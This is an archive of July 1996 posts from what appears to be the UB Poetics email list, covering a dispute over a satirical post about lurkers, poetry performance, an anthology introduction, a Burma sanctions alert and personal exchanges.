even if all art is ultimately performative, it does not mean that all artists are ultimately good performers. it takes practice, and an attention to details other than those that went into the poem, and into the writing of the poem.

> *I think readings are both theatrical and anti-theatrical. That is, the encounter between the reader and the audience creates ipso facto a theatrical experience, but one which is anti-theatrical in that it forces our attention away from the expectations usually aroused by the idea of a performance.*

i suspect this also depends quite a bit on the poem, the way the poet wrote it. by this i mean that i tend to write more for the ear than the eye, because i think poetry is, finally, and oral medium. but there are many who would disagree with me, and so not write their poems with an ear for performance.

best,
shaunanne

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190. Don Cheney
List wars: 100 Years, Star,...
Tue 9 Jul 1996

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while i don't consider my SELF a lurker on this list i also don't consider my self a big time contributor. i do think that Herb's post that Daniel quotes is a sort of hyperbole or maybe just a "hyper text" but i think he went out of his way to make sure we all knew he was kidding. no?

don cheney
[redacted]

Daniel Bouchard writes:

and so on and so forth. Thus it is that an important (to me) issue gets wholly lost in the shuffle. And thus it is that instead of talking about the black poet who was in our midst (Lorenzo)--as a poet, not just because he's black--we end up, academic-style, arguing about what white men (Aldon and Bob) are supposed to say about black poets. The whole thing strikes me as wonderfully silly. As Dodie said, I thought this was supposed to be a POETICS list.

Who can blame lurkers for keeping silent? ["vermin, scum, slime," says Herb Levy referring to lurkers.]

I'm pleased that Ron's post prompted at least one person to write in and say who she was, what she does, and why she's silent on the list. There's nothing wrong with keeping quiet in a discussion. On the other hand, it's better to type something in once in a while (even if you're unsure of yourself, or going out on a limb. There's few instances of flaming here, if any, my perception of the list over the past year has been one of general friendliness).

Here are some other Herb Levy gems:

"allowing the vampiric lurkers in our midst to stay on for another month of reading the collected wisdom of others at no cost to themselves." "To actively combat these lurker vermin, we must require full participation" "This simple change in policy would most certainly cut down on the number of non-participating lurker scum on poetics list and we would soon arrive at the kind of total and immediate participatory democracy"

Democracy for you, Herb, is an elimination of the "scum?" Can the unfortunates help themselves if they (we) do not possess your "wisdom?" But I don't want to dwell on your post, I'm sure you have some vitriol headed your way.

Something struck me about M. Perloff's post: the way the terms were set, as in "the black poet in OUR midst." What does "our" refer to? The members of the list who also attended the conference? I'm not clear as to whether Lorenzo's attendance at Orono was important to you because he is a poet, or because he is a black poet. Also, could you clarify "academic-style" as a form of argument and maybe propose an alternative? I've seldom seen any other kind of argument on this list (Lurkers, speak up!)

[redacted]

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191. Charles Alexander

Re: List wars

Tue 9 Jul 1996

> *Who can blame lurkers for keeping silent? ["vermin, scum, slime," says Herb Levy referring to lurkers.]*
>
> *Here are some other Herb Levy gems:*
>
> "*allowing the vampiric lurkers in our midst to stay on for another month of reading the collected*
> *wisdom of others at no cost to themselves.*"
> "*To actively combat these lurker vermin, we must require full participation*"

> *"This simple change in policy would most certainly cut down on the number of non-participating lurker scum on poetics list and we would soon arrive at the kind of total and immediate participatory democracy"*
>
> *Democracy for you, Herb, is an elimination of the "scum?" Can the unfortunates help themselves if they (we) do not possess your "wisdom?" But I don't want to dwell on your post, I'm sure you have some vitriol headed your way.*

I know it's said that one can't read tone in email messages, but I had no problem being absolutely convinced that Herb's post was tongue-in-cheek.

charles

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192. Fred Muratori
Re: List wars
Tue 9 Jul 1996

Re:

> *Democracy for you, Herb, is an elimination of the "scum?" Can the unfortunates help themselves if they (we) do not possess your "wisdom?" But I don't want to dwell on your post, I'm sure you have some vitriol headed your way.*
>
> [redacted]

Damn, I knew I was too naive and culture-bound to subscribe to this list. I thought Herb Levy's post was meant to be satiric. This means that now I'll have to re-read everything I've ever read to correct all my earlier mis-frissonings. Where will I find the time?

****

Fred Muratori "Certain themes are incurable."

([redacted])
Reference Services Division - Lyn Hejinian
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

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193. Joe Amato
Re: List wars
Tue 9 Jul 1996

---

yes, ditto on herb's tongue-in-cheeky-ness...

joe

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194. **hen**
Re: think of meeee!
Tue 9 Jul 1996

> *Going for an interview at a community college for a lit teaching job this afternoon (my first serious interview) so please send blessings this way at 3 p.m my time (3 hours behind SF), oh good people. gab.*

the vibes are with you. just emitted them - should be arriving gently in Hawaii around that time. Aloha. - Henry

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195. **henry**
Re: think of meeee!
Tue 9 Jul 1996

SORRY FOLKS...hit the dern reply button. All of you now, focus those stray vibes toward Hawaii. No Darren, that's not a volcano. - hg

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196. **Daniel Bouchard**
Re(vision): List wars
Tue 9 Jul 1996

So my server's getting drowned in messages to me saying "Herb Levy was just kidding." Yeah sure, so was Jonathan Swift--
that murderous bastard! So I retract my previous post, and offer this revision (this is what happens when you try and engage in
a discussion for fifteen second intervals during work).

I remain undaunted though. I don't "get" those Leslie Neilsen spoof movies either.

[redacted]

Marjorie Perloff wrote:

and so on and so forth. Thus it is that an important (to me) issue gets wholly lost in the shuffle. And thus it is that instead of talking about the black poet who was in our midst (Lorenzo)--as a poet, not just because he's black--we end up, academic-style, arguing about what white men (Aldon and Bob) are supposed to say about black poets. The whole thing strikes me as wonderfully silly.

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Something struck me about M. Perloff's post: the way the terms were set, as in "the black poet in OUR midst." What does "our" refer to? The members of the list who also attended the conference? I'm not clear as to whether Lorenzo's attendance at Orono was important to you because he is a poet, or because he is a black poet. Also, could you clarify "academic-style" as a form of argument and maybe propose an alternative? I've seldom seen any other kind of argument on this list (Lurkers, speak up!)

[redacted]

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197. Rod Smith
Onward: Contemporary Poetry & Poetics
Tue 9 Jul 1996

This is the Contents and Introduction for the forthcoming anthology _Onward: Contemporary Poetry and Poetics_ ed. Peter Baker, Peter Lang Pub., $28 pb, 440 pgs. due out Sept '96. Peter is off line traveling and asked me to send it to the listwar. "The Rejection of Closure" is a revised and extended version.

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poeanth.pb (Introduction)

Poetics is a vast, ancient, yet understudied field. Except, of course, for poets. Yet many if not most poets would probably assent to the proposition that one's poetics can be deduced from the poem. A statement on poetics presents immediate difficulties within such an aesthetic, because it risks being seen as ancillary to the production of the poem, and may, in fact, misrepresent the implicit poetics in the poet's work. Given these risks, many poets choose reticence as their primary mode of statement, with the limit of reticence approaching silence, often accompanied by an attitude of active disdain. Belief in an implicit poetics can be seen to derive from an immanentist theory of language, or the idea that words bear direct relation to what they represent, even carrying a little bit of the essence of the thing in the word. Such immanentist theories deriving from the religious tradition ("and the word was with God and the word was God") drove William of Occam, in the twelfth century, to propose the complete separation of word and referent, in his philosophy of nominalism. Jacques Derrida is often thought to represent such a nominalist viewpoint in his philosophy of deconstruction (see my Deconstruction and the Ethical Turn). Ezra Pound's language theory is explicitly immanentist, as when he instructs his Italian translator of The Cantos: "Don't worry about the meaning of the poem. Translate accurately line by line. The meaning is inherent in the material." Pound's poetics in The Cantos thus demonstrates what I call (in Obdurate Brilliance) the "myth of transparency," or the ideology of direct apprehension of the surrounding context from the text of the poem. Without worrying too much (right now) about the accuracy of labels, much of what is called mainstream poetry today

operates either knowingly, or usually unknowingly, out of this model of transparency. Anthologies of poetics by mainstream poets are thus usually concerned with craft and techniqueaehow the poem is put togetheraewhen the poet is not discussing where he or she went on his/her last vacation or MacArthur grant to gather material. The poem's meaning is either inherent in the material (themes) or what it represents (nature). This view of poetics as purely practical and personal both derives from and sustains the poetic practice variously termed workshop or MFA verse, and can be found exemplified in every issue of the AWP Chronicle. In the past twenty-five or so years vibrant alternatives in the theory and practice of poetry have risen out of the movement known as Language poetry. Following the "radical modernism" of Stein, Zukofsky and others, in Charles Bernstein's appellation, or what Marjorie Perloff has called "the other tradition," this practice has as one explicit goal, quoting Zukofsky, "to stop the gaze on words as things." By now, Language poetry has been around long enough that, like deconstruction or Mt. Pinatubo, it no longer exists, but its practitioners, many of them represented here, are still very active and its effects, as John Ashbery indicates in his interview, may be even more interesting than the initial productions of those associated with the movement. Literary history (which H. R. Jauss terms "conceivably the worst medium through which to display the historicity of literature") is already at work deriving a genealogy to explain the transition between the "radical modernism" of Stein, Zukofsky and others, and the Language poets. Materials for such a genealogy are generously represented here in the selections by John Ashbery and Robert Creeley, as well as those of Clark Coolidge and Bernadette Mayer. There is no raw material. So Harry Mathews begins his contribution. Mathews, a member of the Ourvoir de litterature potentielle, or OULIPO group, brings impeccable credentials to his theorizing, or non-theorizing, of the production of the poem. As with Lyn Hejinian's already-classic essay, "Against Closure" (revised and expanded for publication here), Mathews' statement is a kind of manifesto, reminiscent of the radical modernism of Andre Breton and early surrealism. Manifestos are less concerned with explanation than with demonstration; they attempt not to analyze, but rather to make manifest artistic practices and attitudes. Looking at the materials assembled here, I have been struck that there are two clear poles, or limits, or borders, to their expressive strategies. If the manifesto is one such border, the other is collage. Some of these collage assemblages, such as those of Charles Bernstein and Nicole Brossard, were created or at least shaped explicitly for this collection. Others are the results of collaborations between the poets and/or the editor and/or the editor's friends, notably Rod Smith, Lee Ann Brown, and Peter Gizzi. The relation of poetics to poetry always to some extent resists explanation. Yet we are drawn to explore it as part of a life commitment to poetry, a commitment those in the present volume recognize under the sign of necessity, Beckett's "all that I

can, more than I could." Each poet's approach also necessarily involves questions of individual history and practice while somehow managing to ground the communities of poets and artists actively committed to the creative imagination. This volume emerges from these multiple communities and hopefully will serve as a resource for those already involved in the work and those yet to come. Or, as Bernadette Mayer likes to say, "Onward."

Peter Baker
Washington D.C., 1996

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198. Jordan Davis
amusing and depressing
Tue 9 Jul 1996

Hey, who sent me that little golden book of lesser New York School poets? It's amusing. Thanks. Is that really a reprint of some previous anthology?

I suppose silence is a topic. Ford Madox Ford writes about reading with some surprise mid 19th c numbers of popular american periodicals filled with letters to the editor not about the fine moral shadings of the tales published in the magazines, but questions about the technique of short story writing. Isn't it funny that none of the poets here talks much about technique? Whatever that is. I guess I bring it up because I found it amusing and depressing, as I usually find Ford. The satires on lurking and on cross posting are also amusing and depressing. Bummer! And then I remember Bill Luoma's injunction not to write without having some feeling to send across, otherwise one produces a dull brown feeling in the reader. Why is that. What is the emotional reading that obtains to even a torn scrap of paper lying the street, that makes us accountable for the tone of our writing in ways we spend all our grace to avoid acknowledging? Heh? Eh? J

PS It was Ben Friedlander who wrote that, about it being all right to think of O'Hara's poems as fascinated with surface, as long as one acknowledges that the surface is quicksand..

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199. Gabrielle Welford
Re: performance & poetry: "measure carefully, can be toxic"
Tue 9 Jul 1996

Sounds like Edith Sitwell... gab.

On Mon, 8 Jul 1996, Lisa Samuels wrote:

> *for poetry performance: i still want to see someone*
> *at least *begin* a reading from behind an opaque*
> *black (or whatever) curtain*
> *-or-*
> *put an enormous mirror in front of the curtain so the*
> *audience sees only itself for a while (small venue*
> *and large mirror required)*
> *-or/and-*
> *position mirrors on either side of the stage so*
> *the audience can see the poet from the sides only,*
> *still behind the curtain*
>
> *something along those lines*
>
> *and for eliza mcgrand --*
> *as for #3, i prefer the phrasing of a country song:*
> *'I've enjoyed as much of this as I can stand'*
>
> *my month's worth,*
>
> *lisa samuels*

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200. Gabrielle Welford
thanks
Tue 9 Jul 1996

---

to all for well wishes. All the traffic lights on the way there were green, I made it in time, the committee smiled a lot. I had fun teaching them for 10 minutes. Now, back to area exams... Don't stop wishing. You guys are good. gab.

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201. Maria Damon
Re: List wars
Tue 9 Jul 1996

---

dodie: this is the third time you have attacked my person, my character, and my motives in a public conversation. what's going on? i have admired and respected your work as a writer and editor and contributor to the list. you know this. we have had a very warm (i thought) working relationship. now, everytime i utter a sentence, it seems, i get targeted for being holier-than-thou, careerist, making "freudian slips", etc -- my words are being twisted around,

caricatured, and then ridiculed, with unsavory motives ascribed to these inaccurate representations. clearly something's up. if i have offended you personally in any way (and your remarks seem clearly personally directed), please let me know, back channel, how i have done so. This is extremely painful to me and i would like it to stop maria d.

In message <v01520d01ae07d1e76e81@[205.134.228.72]> UB Poetics discussion group
writes:
> At 10:00 PM 7/8/96, Emily Lloyd wrote:
> >yes, which
> >threads do and don't get picked up merits observation, mention, critical
> >examination etc.
>
> The is Dodie Bellamy.
>
> On the surface, Emily, this sounds just great--but serveral issues come up
> for me. First of all, this list is not going to change the world, it's a
> bunch of mostly-white middle class people shooting the breeze. It's a
> place of priviledge and leisure--the priviledge to have access to a
> computer hook-up, the luxury of all this time to shoot the breeze. Let me
> get this clear, I am not against anybody discussing race issues and/or
> teaching--even though for us non-academics, issues of teaching are rather
> boring--and academic approaches to literature and to poets themselves are
> something many poets I speak with find problematic. For instance I do not
> think M. Damon's erasure of poets in her original post was merely an
> oversight--perhaps a Freudian slip? As Ron pointed out, for many academics
> living breathing poets are not part of the picture. Furthermore--this
> isn't the 50s, no one that I know of, and few (if any) people on this list
> would challenge the need for representation of non-"white-middle-class"
> writers wherever writers are represented.
>
> But creating a hierarchy of what's acceptable or more acceptable on this
> list is something I find highly problematic. It is that process of
> hierarchization which excluded non-"white-middle-class" writers and women
> from the literary canon in the first place. There is no god-given
> hierarchy of importance. It is this mindframe, for instance that has often
> disparaged conversation by women as "chatter." I have much difficulty when
> white middle class liberals use the issues of "oppressed" groups to guilt
> trip other white middle class liberals--and I think some of that has been
> going on here. Let me give an example from outside the list. Several
> years ago here in San Francisco there was a poet who became "engulfed" in

> the Gulf War. He marched against the Gulf War, did performance art against
> the Gulf War, wrote poems about the Gulf War, wore buttons. So, at least a
> year after the Gulf War ended he gave a reading--of course it was all poems
> about the Gulf War. During the course of the reading he took the
> opportunity to brow beat the audience by saying we're all here listening to
> poetry--but there was THE GULF WAR--in other words he posed himself as
this
> messianic figure concerned with human suffering, and the audience was cast
> as a bunch of superficials listening to Poetry. I have problems with the
> colonizing of another group's oppression and and wearing it as a badge. I
> am skeptical when someone makes an academic career out of Bob Kaufman
then
> makes jokes about his "clunkers" on this list. This is not treating
> Kaufman with the dignity he deserves.
>
> To conclude, I think the Beatles and list politics are just as valid topics
> of discussion here as anything else.

↑ Index

202. Bill Luoma/Vanstar
Re: tonight's HRs
Tue 9 Jul 1996

C har,

I wanted biggio and there's no more permanent billy ripken.
so NL goes: chipper, hundley, larkin.
AL: knoblauch, anderson, carter.

with a wiff

To: bluoma @ vanstar.com @ VSMAIL
cc:
From: LancerLeg @ aol.com @ VSMAIL
Date: 07/09/96 05:32:42 PM PDT
Subject: tonight's HRs

National League: Bagwell, Ellis Burks, Biggio
American League: R.Alomar, Pudge Rodriguez, Buhner

pitch to maz ... gawn

↑ Index

203. **Paul Naylor**
Re: List wars
Tue 9 Jul 1996

I'm with Charles on this one. I think Ron's allusion to Swift's "A Modest Proposal" and Herb's allusion to Ron's allusion suggests that a satire is coming or has come our way.

Paul Naylor
MAIL
SEND
in%"[redacted]"
in%"[redacted]"

SEND

in%"[redacted]"
in%"[redacted]"

>From: IN%"[redacted]" "UB Poetics discussion group" 9-JUL-1996 12:23:08.59
>Subj: RE: List wars
>
>>
>>Who can blame lurkers for keeping silent? ["vermin, scum, slime," says Herb
>>Levy referring to lurkers.]
>>
>
>>
>>Here are some other Herb Levy gems:
>>
>> "allowing the vampiric lurkers in our midst to stay on for another month of
>>reading the collected
>>wisdom of others at no cost to themselves."
>>"To actively combat these lurker vermin, we must require full participation"
>>"This simple change in policy would most certainly cut down on the number of
>>non-participating lurker scum on poetics list and we would soon arrive at
>>the kind of total and immediate participatory democracy"
>>
>>Democracy for you, Herb, is an elimination of the "scum?" Can the unfortunates
>>help themselves if they (we) do not possess your "wisdom?" But I don't want to
>>dwell on your post, I'm sure you have some vitriol headed your way.

>
>
>I know it's said that one can't read tone in email messages, but I had no
>problem being absolutely convinced that Herb's post was tongue-in-cheek.
>
>charles
SEND
in%"[redacted]"
in%"[redacted]"

↑ Index

204. Robert A Harrison
L. Thomas
Tue 9 Jul 1996

Has anyone mentioned that Lorenzo is not only black, but Hispanic? He's Panamanian-American, a non-native speaker of English. Haven't been able to keep up with all the details of the conversation, I'm at work ... so if this is old news, then...

I happened to be looking for his current address before this discussion started. Does anyone have it?

Bob Harrison
[redacted]

↑ Index

205. David Baratier
Re: List wars
Tue 9 Jul 1996

Dear owners of the list,

Do advertisements count?

David Baratier

↑ Index

206. Christina Fairbank Chirot
posters
Tue 9 Jul 1996

---

interesting to scroll down the screen and read alternating messages: "poetry performance"/"list wars".

Remember that poster, "What if they held a war and nobody came?"

Thanks to Bob Harrison for his message regarding Lorenzo Thomas.

Dave Baptiste Chirot

↑ Index

207. David Baratier
poetry parfornir
Tue 9 Jul 1996

> *Christopher K. Whipple typed:*

`Does anyone have any ideas on why coffee house readings are so often lame and depressing; why do these horrible people have a monopoly on the espresso circuit, while so much that is delicious is abandoned to a half-life in academia?

The tension between the academic and the street (or spoken word) poets have created the coffee-house lameness in most cities I've lived in. The problem is two-fold: many academics believe that poetry worth reading is to be institutionalized and therefore works outside of this sphere are improperly crafted or have a lower unit value, while many of the street poets believe that reading other's poems or revising their own are both unecessary aspects of the craft. One of the few reading series I have chanced upon with a full mixture and a successful open mike, was sponsored by an independent bookstore in Philly (now out of business) which actively sought out both university and non-university readers willing to take smaller (guaranteed) amounts of money. For this reason, plus the owner's stable of consistent readers he supported, out of a crowd of twenty readers, at least a fourth, and usually more, were excellent.

Does anyone have any ideas on how poetry can be successfully performed?

Joy Harjo uses a slow reading style with bursts of animation and/or inflection to add to the lyrical scenery. A good sample can be found on the _Woman who fell from the sky_ cassette which accompanies the book. But a more representative example (not so over produced and the like) can be found on an earlier tape (I think it's called _Furious Light_.

Jack Gilbert is a contemporary master of silence. Of how silences can be manipulated to fit the reading space for the most impact in relation to the poem. His use of rhetorical questions followed by long pauses fell entire audiences into thought, tense with answer. One keeps waiting for an escape, the brilliance is his refusal to withdral, to slacken the question.

Michelle Boisseau the length of her poems accumulate in an audiences head in such a way as to bring the weight of the poem upon the ending. For

one who listens intently during the entire piece, the ending is a miraculous articulation of associative values built upon throughout the piece.

Be well

David Baratier

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208. **Gabrielle Welford**
herb levy's scum
Tue 9 Jul 1996

Hey daniel, I have an eensy feeling herb's modest proposal was a little tongue in cheek. But I'm looking forward to the 200-500 wd responses from 300 people with abstracts attached. I think we should all take this very seriously wink wink nudge nudge gab.

↑ Index

209. **Kathrine Varnes**
Re: poetry performance
Tue 9 Jul 1996

As far as I'm concerned, a good performance is a good interpretation, or at least an interesting one. (The reverse is also true.) A bad performance is one that has no interpretation, or at least not a complete one. This re-states some of what folks have already said, except I'd also add that what kills poetry for me (which is often what happens when actors are reading) is when the reader has already decided what the perfect reading is and tries to create it -- some static idea -- instead of actively interpreting while reading. Better to be imperfect and lean on the words.

Kathrine Varnes

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210. **Emily Lloyd**
Re: List wars
Tue 9 Jul 1996

Ok, Dodie. I see your point clearly w/the example of the Gulf guy, although I'm not sure that Maria's etc. posts were coming on in that way. Having attended 2 of the most supposedly "leftist" and "activism-oriented" undergrad schools I can think of, I'm all-too-aware of the kind of unconstructive self-righteousness you describe, & tend to respond to Gulf-guy types by holding out my hand, slapping it, and crying "bad little activist." I just didn't read the post that way. And I

pretty much agree that there should be no "godgiven hierarchy of importance" as to what will be discussed here (although perhaps that part of your post should be addressed to Marjorie's last, and not Maria's?). I'd hope there was a place for Beatles & teaching & race & list politics (after all, we're "mostly-white middleclass people shooting the breeze"--we've got the time) But I think the point was that there wasn't...certain issues were dropped like potatoes, for whatever reason (and I admit, yes, to an interest/concern in that reason). I'm not interested in falling into the "why are we talking about this when we could/ should be talking about THIS?" trap; on the other hand, I think "why *aren't* we talking about this?" is a valid question. emily

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Emily Lloyd [redacted]
"Emily said Emily said, Emily
is admittedly Emily." --G. Stein

↑ Index

211. Loss Glazier

Orono papers & other authors

Tue 9 Jul 1996

--> An update on a topic that arose on this list. I've had a couple of people offer to give me Orono papers so I will be making a small number of papers a part of the online Orono book. If you have a paper from the conference to put online, you are very much encouraged to get in touch with me via individual e-mail.

--> For their home pages, I'd also be very interested in essays/works on:

Enslin
Ceravalo
Irby
Robert Creeley
Ray Federman
Steve McCaffery
Fiona Templeton
Cecilia Vicun~a
Lyn Hejinian
Barbara Guest
Bruce Andrews
Jackson Mac Low
Susan Howe

If you have writing on any of these authors you'd like to make available online, please let me know.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

--> I'm interested in putting papers about other authors online also. So please let me know if you have other papers too!

↑ Index

212. **David Kellogg**
Re: List wars
Tue 9 Jul 1996

Marjorie has made an important point about the dominance in these here threads of silly issues. She also points out that a lot of energy is expended on peripherals when more important issues are staring us in the face.

But I don't think it's easy to separate the central from the peripheral. To wit:

On Tue, 9 Jul 1996, Hank Lazer wrote:

> *Before Marjorie (or Robt) or others accuse me of offering merely sociological reasons for reading Hayden, let me add that I consider his poetry GOOD.*

Now, why does Hank feel a need to say this? What the hell's the matter with reading a poet for sociological reasons, or for reasons other than that poet's value? Why the obvious debasement of "mere" sociology? What's wrong with sociology? Bob von H stated the assumption explicitly, somewhere in his response to Aldon, that the goal of scholarship should be, more or less, to separate the wheat from the chaff. Marjorie in her post assumes something similar, and now Hank has to make an obligatory nod to that belief.

Well that's not MY goal, or not most of the time, and I don't see why it should be. From the posts of those critics who are on this list, it seems to me that the world (or at least the Net) is filled with people yakking about why such-and-such a poet is good, and another is bad. The last thing I want or need is another tastemaker. Save that, as Foucault might say, for the police.

I'm not trying to exclude considerations of value. We have to evaluate all the time anyway. But prior definitions of the proper job of the critic or poet are a lot sillier than examinations of net-politics.

When people talk about "mere" sociology, or slag critics as somehow less credible than poets (thank you Dodie), or talk about the proper role of poetry, or criticism, or whatever, I get alternately bored or angry. Mainly, though, I think that if sociology draws this much uncontested ire and obvious anxiety, there must be something to it. A "pure" poetics outside of sociology doesn't exist, and if it did I wouldn't want it.

Cheers,
David

~~~
~~~

> If you have writing on any of these authors you'd like to make
> available online, please let me know.
>
> --> I'm interested in putting papers about other authors online
> also. So please let me know if you have other papers too!

↑ Index

214. Jerry Rothenberg
Re: Covering Cherub
Tue 9 Jul 1996

Dear Rob Wilson --

Thanks for yours, & please feel free to send any essays/works etc. concerning local & Pacific matters. We'll be arriving there on the 4th of September & I understand from Gab Welford that there's a big Bamboo Ridge reading on the 5th, so certainly we'll plan to get to that one. I have an interest in all of that, so looking forward very much to this particular visit. Tell me if you have any ideas or suggestions, and in the meantime

all good wishes

JERRY

↑ Index

215. Charles Alexander
Re: Orono papers & other authors
Tue 9 Jul 1996

Dear Maria:

Welcome back to town. I'm very swamped this week, but I'd love to see you sometime soon. Perhaps next week, even on a weekday, you could come over to our house for coffee/tea, meet my wife Cynthia, talk a bit? so very lovely yes yes

And I'm sorry Dodie is giving you such a hard time. To these eyes it's not apparent why she's giving you a hard time. I've always had a good time with Dodie in email conversations, have met her a couple of times at San Francisco readings I've given, but I don't know her very well.

Hope it passes.

love,

charles

↑ Index

216. Charles Alexander
Re: Orono papers & other authors
Tue 9 Jul 1996

Well now I feel embarassed having goofed with the reply button and passed on a personal message to the list. Sorry to all.

charles

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217. Eliza McGrand- CVA Guest
the guy and the gulf war
Tue 9 Jul 1996

a year or so ago, the dance critic from the new yorker (arlene croce? i know i am blanking on the name here) had an extraordinary essay on victim art. she took an extreme position against it, refusing to attend bill t. jones' latest dance peice, about death and dying, because she felt it was a category she defined as "victim art" -- work written about hardship that causes the creator to be evaluated as a victim, rather than as an artist.

her refusal to even go to the concert was extreme, certainly, and her essay sparked much protest in artistic sectors. but the point was valid. there is a tendency to evaluate art about hardship not as art but as a test of audience compassion, liberalism, etc. your gulf-war fellow was just another remove of this.

i am working on a book about domestic violence and it has been very difficult for me to evaluate the writing, to decide whether it should be public or not. i think putting victimhood out in writing, submitting the writing to forums as writing, and then complaining, if it doesn't go over well, that the critics are being as abusive as the initial source of hardship is, to say the least, being a bad sport. but on the other hand, the source of a terrifying amount of art (can't, for gods sake, we write/draw/sing/compose about anything but pain i ask myself sometimes in frustration) IS pain. and art works can bring the audience into a close understanding of what a hardship is, and does, as very little else can.

all of this is old ground, covered by the new yorker essay and numerous responses to it... and the gulf war poet is yet another wrinkle. do we admire someone for at least caring about a painful issue and taking on the burden of making art about it? on the other hand, to harangue an audience for being an audience, instead of performing some undefined activist task, seems absurd, almost sartre... when does a work become too personal and too painful to be evaluated as art? e

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218. Gabrielle Welford
Collaborator on M.E.T. Lambert article, 19th c poet (fwd)
Tue 9 Jul 1996

I am seeking possible collaborators for an article on 19th-c American woman poet Mary Eliza (Perine) Tucker Lambert, whose works are included in _Black Women's Poetry_ from the Oxford UP series, the Schomburg Library of 19th-c Black Women Writers, and excerpted in Cheryl Walker's anthology of 19th-c American women poets. An important component of the article will be reception of the poem in classrooms, so that any classroom experience with her works would be a valuable asset for a collaboration.

Janet Gray
[redacted]

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219. Michelle Roberts
Re: bumb bunny
Tue 9 Jul 1996

Thanks all for the responses to my inquiry. It turns out that the essay on teh new sentence was in file in my cabinet, and I'd read it four years ago while getting my masters -- somehow, and don't take this personally, Ron -- I just forgot it!! And I was reading lots of L-poetry at the time. Sheez. Again thanks, I'll be re-reading now.

M

Meaghan Roberts-Jones Our exchanges? An engendering Ph.D. Candidate - Humanities-Lit.&Ideas through rare and always The University of Texas at Dallas infinte fortune. [redacted] -- L. Irigaray

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220. Michelle Roberts
Re: Listpersonship
Tue 9 Jul 1996

On Mon, 8 Jul 1996, c.g. guertin wrote:

> Lurker equals/does not equal listener? Is this a 'bad' moral equation?
> Silence is evil or simply undesirable?
>
> cg
>

Actually, Ron made some excellent points. Devoloving is no fun. And as to the ethics and morality of lurking: 95% of the time I lurk on this list because y'all are already a community, some it appears were before the list existed, and I'm not going to shoot off my mouth and mess up the party -- also, the level of thinking here is simply smore sophisitcated than mine at present and y'all serve as a good model (for lots of reasons, some contradictory) of what this little poet-critic could aspire to. Combine those, and I'm quiet cuz I'm not silly. I know when I'm being taught, that's all. And thanks for being good at what you do.

Yours in gazing,
m

↑ Index

221. Burt Kimmelman
Re: Private List/Public Space
Tue 9 Jul 1996

Loss,

yes, but how often do one's notes tacked onto a bulletin board get taken down and shipped off to some archive; archiving (electronic or otherwise) seems to legitimize the mere missives, no? And then they get quoted perhaps, and so on.

Burt

↑ Index

222. Michelle Roberts
Re: poetry performance
Tue 9 Jul 1996

> *that wished to consume its object, to become its object, to take the place of its object (Freudian references intended).*

James, that sounds more like Lacan. I wish we could get over him. And I wish Derrida would quit demolishing people, and I wish poetry or poets would defend themselves. Or at least quit ..... why is poetry on the side of the feminine in dynamic?? Actually, I've read my Kristeva, so I have an answer for that. pffft.

M>

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223. **Bruce Malcolm**
(no subject)
Tue 9 Jul 1996

PLEASE HELP!

Date: 09 Jul 1996 07:43:47
From: [redacted]
Subject: KEY SENATE BURMA VOTE: THURSDAY, JULY 11
To: Recipients of burmanet-l <[redacted]>
Lines: 65

From: [redacted] (Simon Billenness)
Subject: KEY SENATE BURMA VOTE: THURSDAY, JULY 11

SENATE MAY VOTE ON BURMA SANCTIONS THURSDAY, JULY 11

BUMRA SANCTIONS UNDER THREAT! CALL YOUR SENATORS TODAY!

July 9, 1996

The news from Senator McConnell's office is that the Foreign Aid Bill, containing an amendment section 569) by Senators McConnell and Moynihan imposing economic sanctions on Burma, may come up for a vote on Thursday, July 11.

Section 569 is under severe threat. One or more Senators will attempt to remove the sanctions on Burma through a floor amendment.

It is vital that we each call our Senators and urge them to keep the sanctions on Burma (section 569) in the Foreign Aid Bill.

CALL YOUR SENATORS TOLL-FREE AT [redacted]

1. Ask for the staff person responsible for foreign policy issues.

2. Stress that you want your Senator to support the economic sanctions on Burma contained in Section 569 of the Froeign Aid Bill.

3. Ask your friends, family and co-workers to call too.

MAKE SURE YOU CALL BY 5PM, WEDNESDAY, JULY 9!!

Simon Billenness
Franklin Research & Development
[redacted] x 225
[redacted] fax
[redacted]

SECTION 569 OF THE FOREIGN AID BILL & CURRENT TEXT OF THE "BURMA FREEDOM AND DEMOCRACY ACT" (S.1511).

1. LIMITATION ON FUNDS FOR BURMA
2. Sec. 569. Until such time as the President determines
3. and certifies to the Committees on Appropriations that an
4. elected government of Burma has been allowed to take office,
5. the following sanctions shall be imposed on Burma:
6. (1) No national of the United States shall make
7. any investment in Burma;
8. (2) United States assistance to Burma is prohib-
9. ited;
10. (3) The Secretary of the Treasury shall instruct
11. the United States executive director of each inter-
12. national financial institution to vote against any
13. loan or other utilization of the funds of the respective
14. bank to or for Burma; and
15. (4) Except as required by Treaty obligations,
16. any Burmese national who formulates, implements,
17. or benefits from policies which hinder the transition
18. of Burma to a democratic country shall be ineligible
19. to receive a visa and shall be exclude from admission
20. to the United States.

DON'T DELAY! CALL TODAY!

[redacted]

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224. Burt Kimmelman
Re: Private List/Public Space
Tue 9 Jul 1996

James (and Loss et al.),

I guess we should simply acknowledge that the list is as public as potential citationers make it. If you give a talk somewhere, does every scholar in the audience need to ask your permission before quoting/citing you? Of course not. But a reader will understand the level of formality of the discourse, and perhaps thereby its seriousness, when the reader finds out that this was a talk you were giving and not, say, a paper published in a button down refereed journal or whatever.

burt

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225. **Kevin Killian**
Re: List wars
Tue 9 Jul 1996

At 6:41 PM 7/10/96, wystan wrote:
>Dear Dodie,
> I am sorry Charles is saying those things about you. (said in
>a personal, feeling, tone of voice) But seriously, Ms. Bellamy despite
>the fact unlike Mr. Alexander I don't know you at all, your motives
>seem clear and above board to me.

Wystan,

I'm fine with Charles.

> *I observe some kind of comprehensive confusion about 'the personal' developing here. What's to be done?*

I think the line between the personal and non-personal is always messy--and I wouldn't want it any other way. I think I, at least, should move on to new topics. If *I'm* getting tired of this one, I can only imagine what the poor lurkers are going through.

Dodie

↑ Index

226. **wystan**
Re: List wars
Tue 9 Jul 1996

